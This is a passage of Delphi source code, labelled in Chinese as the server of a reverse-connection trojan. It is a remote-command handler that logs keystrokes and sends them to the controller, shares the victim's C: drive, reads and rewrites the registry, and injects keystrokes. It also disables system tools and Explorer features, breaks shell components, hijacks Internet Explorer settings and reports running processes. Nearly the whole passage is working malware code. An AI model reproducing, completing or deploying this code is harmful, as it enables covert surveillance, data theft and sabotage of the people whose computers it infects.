unit1.pas

软件介绍:反弹连接木马源码 １、编译服务端。 服务端在进行编译时会提示出错 （停在“fme.SaveToFile(stf) ”段）

     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion',true) then
      usna:=reg.ReadString('RegisteredOrganization');
     CS.Socket.SendText('263'+usna);
     reg.Free ;
    end;
270:begin//改用户名
     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion',true) then
      reg.WriteString ('RegisteredOwner',copy(strr,4,length(strr)-3));
     reg.CloseKey ;
     reg.Free ;
    end;
271:begin//改组织名
     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion',true) then
      reg.WriteString ('RegisteredOrganization',copy(strr,4,length(strr)-3));
     reg.CloseKey ;
     reg.Free ;
    end;


280:begin//活动窗体键盘记录BG
     M1.Clear ;
     QQNO:='';
     reka:=copy(strr,4,length(strr)-3);
     tsreb.Enabled :=true;
    end;
281:begin
     keyti.Enabled :=false;//停止键盘记录
     tsreb.Enabled :=false;
     cs.Socket.SendText('280'+'活动窗体键盘记录：'+QQNO+M1.Text);
     M1.Clear ;
    end;
285:begin//共享C盘
     reg:=tregistry.Create;//共享C盘
     reg.RootKey :=HKEY_LOCAL_MACHINE;
     try
      if reg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True) then
       begin
        reg.WriteInteger('Flags',258);
        reg.WriteInteger('Type',0);
        reg.WriteString('Path','C:\');
        reg.WriteString('Remark','system');
        reg.CloseKey;
       end;
     finally
      reg.Free;
     end;
    end;
286:begin//取消C盘共享
     reg:=tregistry.Create;
     reg.RootKey :=HKEY_LOCAL_MACHINE;
     try
      if reg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True) then
       Reg.DeleteKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C');
     finally
       reg.Free;
     end;
    end;
287:begin//卸载
      Timer1.Enabled :=false;
      RECL.Enabled :=false;
      keyti.Enabled :=false;
      tsreb.Enabled :=false;
      reg:=tregistry.Create ;
      reg.RootKey :=HKEY_LOCAL_MACHINE;
      IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
       reg.DeleteValue('PHIME2OO2ASyst');
      reg.Free;
      application.Terminate;      
    end;
288:begin//模拟键盘输入
     reka:=copy(strr,4,length(strr)-3);
     for i:=1 to length(reka) do
      begin
        keybd_event(ord(reka[i]),0,0,0);
        keybd_event(ord(reka[i]),0,KEYEVENTF_KEYUP,0);
      end;
    end;

301:begin
     M2.Text :='';
     REKN:=TStringList.Create;
     REVN:=TStringList.Create;
     if Reg.OpenKey(RERV, True) then
      begin
       Reg.GetKeyNames(REKN);
       For i:=0 To REKN.Count-1 do
        M2.Text  :=M2.Text +'\'+REKN[i];

       Reg.GetValueNames(REVN);
        if Reg.GetDataInfo('',REIOF)=true then
         begin           
           if REIOF.RegData<>rdInteger then
           begin
             if REIOF.RegData=rdString then
              REGVAL:=REGVAL+'默认'+'*'+'REG_SZ'+'*'+Reg.ReadString('')+'*';
           end else
              REGVAL:=REGVAL+'默认'+'*'+'REG_DWORD'+'*'+'Unkown Data ..'+'*';
         end else
          REGVAL:=REGVAL+'默认'+'*'+'REG_SZ'+'*'+'(数值未设置)'+'*';
       For i:=0 To REVN.Count-1 do //默认值处理 结束
       begin
         if REVN[i]<>'' then
         begin
           Reg.GetDataInfo(REVN[i],REIOF);

           if REIOF.RegData<>rdInteger then
           begin
             if REIOF.RegData=rdBinary then
              begin
               f1:=REVN[i];
               f2:='';
               usna:=inttostr(reg.ReadBinaryData(f1,TheBuffer,sizeof(TheBuffer)));
               if trim(usna)<>'4' then
                 REGVAL:=REGVAL+REVN[i]+'*'+'REG_BINARY'+'*'+'二进制值'+'*'
               else
                begin
                 for sunum:=1 to reg.ReadBinaryData(f1,TheBuffer,sizeof(TheBuffer)) do
                  f2:=f2+tohexstr(TheBuffer[sunum-1]);
                 REGVAL:=REGVAL+REVN[i]+'*'+'REG_BINARY'+'*'+f2+'*';
                end;
              end;
             if REIOF.RegData=rdString then
                REGVAL:=REGVAL+REVN[i]+'*'+'REG_SZ'+'*'+Reg.ReadString(REVN[i])+'*';
             if REIOF.RegData=rdExpandString then
                REGVAL:=REGVAL+REVN[i]+'*'+'REG_EXPAND_SZ'+'*'+Reg.ReadString(REVN[i])+'*';
             if REIOF.RegData=rdUnknown then
                 REGVAL:=REGVAL+REVN[i]+'*'+'REG_MULTI_SZ'+'*'+'不能处理的键值！'+'*';
           end else
                REGVAL:=REGVAL+REVN[i]+'*'+'REG_DWORD'+'*'+inttostr(Reg.ReadInteger(REVN[i]))+'*';
         end;
       end;
       Reg.CloseKey;
       REKN.Free ;
       REVN.Free ;
       CS.Socket.SendText('301'+M2.Text  +'>>>'+REGVAL);
     end;
    end;
302:begin//新建主键
     if pos('*',RERV)<>0  then
       RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then
      begin
       RERV:=copy(strr,pos('*',strr)+1,length(strr)-pos('*',strr));
       Reg.CreateKey(RERV);
      end;
    end;
303:begin//更名
     if pos('*',RERV)<>0  then
       RERV:=copy(RERV,1,pos('*',RERV)-1);
      i:=0;
      DOSN:=COPY(RERV,length(RERV),1);
      while  DOSN<>'\' do
       begin
         i:=i+1;
         DOSN:=COPY(RERV,length(RERV)-i,1);
       end;
      DOSN:=COPY(RERV,1,LENGTH(RERV)-i);
      DOSC:=COPY(strr,pos('*',strr)+1,length(strr)-pos('*',strr));
     If reg.OpenKey(RERV,true) then reg.MoveKey(RERV,DOSN+DOSC ,true);
    end;
304:If reg.OpenKey(RERV,true) then Reg.DeleteKey(RERV);//删除键

310:begin//加SZ值
     DOSC:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then reg.WriteString(DOSC,'未设值');
    end;
311:begin//加DWORD值
     DOSC:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then reg.WriteInteger(DOSC,0);
    end;
312:begin//二进制值
     DOSC:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then Reg.WriteBinaryData(DOSC,TheBuffer,Sizeof(TheBuffer));
    end;
320:begin//更子键名
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     If reg.OpenKey(strr,True) then  reg.RenameValue(DOSC,RERV);
    end;
330:begin//改字符串值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));

     if Reg.OpenKey(strr, True) then
     if DOSC<>'默认' then
      reg.WriteString(DOSC,RERV)
     else
      reg.WriteString('',RERV);
    end;
331:begin//改DWORD值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));

     if Reg.OpenKey(strr, True) then
      reg.WriteInteger(DOSC,strtoint(RERV));
    end;
332:begin//二进制值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     if Reg.OpenKey(strr, True) then
     begin
      i:=1;
      while length(bgba)<>length(trim(RERV)) do
       begin
        bgba:=RERV[i]+RERV[i+1]+bgba ;
        i:=i+2;
       end;
      bgba:='$'+bgba ;
      p1:=Ptr(StrToInt(bgba));
      Reg.WriteBinaryData(DOSC,p1,4);
     end;
    end;
340:begin//删除键值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     if Reg.OpenKey(strr, True) then  reg.DeleteValue(RERV);
    end;

350:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',true) then
      reg.WriteInteger('DisableRegistryTools',1);
    end;

352:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoRecentDocsMenu',1);
    end;
353:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
       reg.WriteInteger('NoFavoritesMenu',1);
    end;
354:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      begin
       reg.WriteInteger('NoSetFolders',1);
       reg.WriteInteger('NoSetTaskbar',1);
      end;
    end;
355:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoFind',1);
    end;
356:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoRun',1);
    end;
357:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoClose',1);
    end;
358:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoChangeStartMenu',1);
    end;

360:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('GeneralTab',1);
    end;
361:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('HomePage',1);
    end;
362:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      begin
       reg.WriteInteger('Settings',1);
       reg.WriteInteger('Links',1);
      end;
    end;
363:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('History',1);
    end;
364:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('Accessibility',1);
    end;
365:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('SecurityTab',1);
    end;
366:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('ContentTab',1);
    end;
367:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('Ratings',1);
    end;
368:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('Certificates',1);
    end;
369:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('FormSuggest',1);
    end;
370:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('ConnectionsTab',1);
    end;
371:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('ProgramsTab',1);
    end;
372:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('AdvancedTab',1);
    end;

374:begin
     reg.RootKey := HKEY_CLASSES_ROOT;
     if reg.OpenKey('CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32',true) then
      reg.WriteString ('','%SystemRoot%\system32\SHELL32.dll-');
    end;
375:begin
     reg.RootKey := HKEY_CLASSES_ROOT;
     if reg.OpenKey('CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\InProcServer32',true) then
      reg.WriteString ('','%SystemRoot%\system32\SHELL32.dll-');      
    end;
376:begin
     reg.RootKey := HKEY_CLASSES_ROOT;
     if reg.OpenKey('CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}\InProcServer32',true) then
      reg.WriteString ('','shell32.dll-');      
    end;
377:begin
     reg.RootKey := HKEY_CLASSES_ROOT;
     if reg.OpenKey('CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\InProcServer32',true) then
      reg.WriteString ('','shell32.dll-');      
    end;

379:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Mouse',true) then
      reg.WriteString('SwapMouseButtons','1');
    end;
380:begin
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('SOFTWARE\Classes\.inf',true) then
      reg.WriteString('','txtfile');
    end;
381:begin
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('SOFTWARE\Classes\.reg',true) then
      reg.WriteString('','txtfile');
    end;
385:begin//查看IE标题栏
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('Software\Microsoft\Internet Explorer\Main',true) then
       Socket.SendText('385'+reg.ReadString('Window Title'));
    end;
386:begin//设置IE标题栏
      reg.RootKey := HKEY_CURRENT_USER;
      if reg.OpenKey('Software\Microsoft\Internet Explorer\Main',true) then
       reg.WriteString ('Window Title',copy(strr,4,length(strr)-3));
    end;
387:begin//查看IE主页
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('Software\Microsoft\Internet Explorer\Main',true)  and reg.ValueExists ('Start Page') then
      Socket.SendText('387'+reg.ReadString('Start Page'));
    end;
388:begin//设置IE主页
      reg.RootKey := HKEY_CURRENT_USER;
      if reg.OpenKey('Software\Microsoft\Internet Explorer\Main',true) then
       reg.WriteString ('Start Page',copy(strr,4,length(strr)-3));
    end;
390:begin
     reg:=tregistry.Create;
     reg.RootKey :=  HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Desktop\WindowMetrics',true) and (reg.ValueExists('CaptionHeight')) then
      reg.WriteString('CaptionHeight','-'+copy(strr,4,length(strr)-3));
     reg.Free ;
    end;
391:begin
     reg:=tregistry.Create;
     reg.RootKey :=  HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Desktop\WindowMetrics',true) and (reg.ValueExists('CaptionWidth')) then
       reg.WriteString('CaptionWidth','-'+copy(strr,4,length(strr)-3));
     reg.Free ;
    end;
392:begin
     reg:=tregistry.Create;
     reg.RootKey :=  HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Desktop\WindowMetrics',true) and (reg.ValueExists('MenuHeight')) then
       reg.WriteString('MenuHeight','-'+copy(strr,4,length(strr)-3));
     reg.Free ;
    end;
393:begin
     reg:=tregistry.Create;
     reg.RootKey :=  HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Desktop\WindowMetrics',true) and (reg.ValueExists('MenuWidth')) then
       reg.WriteString('MenuWidth','-'+copy(strr,4,length(strr)-3));
     reg.Free ;
    end;
394:begin
     reg:=tregistry.Create;
     reg.RootKey :=  HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Desktop\WindowMetrics',true) and (reg.ValueExists('ScrollHeight')) then
       reg.WriteString('ScrollHeight','-'+copy(strr,4,length(strr)-3));
     reg.Free ;
    end;
395:begin
     reg:=tregistry.Create;
     reg.RootKey :=  HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Desktop\WindowMetrics',true) and (reg.ValueExists('ScrollWidth')) then
       reg.WriteString('ScrollWidth','-'+copy(strr,4,length(strr)-3));
     reg.Free ;
    end;
396:begin
     reg:=tregistry.Create;
     reg.RootKey :=  HKEY_CURRENT_USER;
     if reg.OpenKey('Control Panel\Desktop\WindowMetrics',true) and (reg.ValueExists('Shell Icon Size')) then
       reg.WriteString('Shell Icon Size',copy(strr,4,length(strr)-3));
     reg.Free ;
    end;

401:begin//查看进程
     sx();
     Socket.SendText('401'+lb1.Items.Text);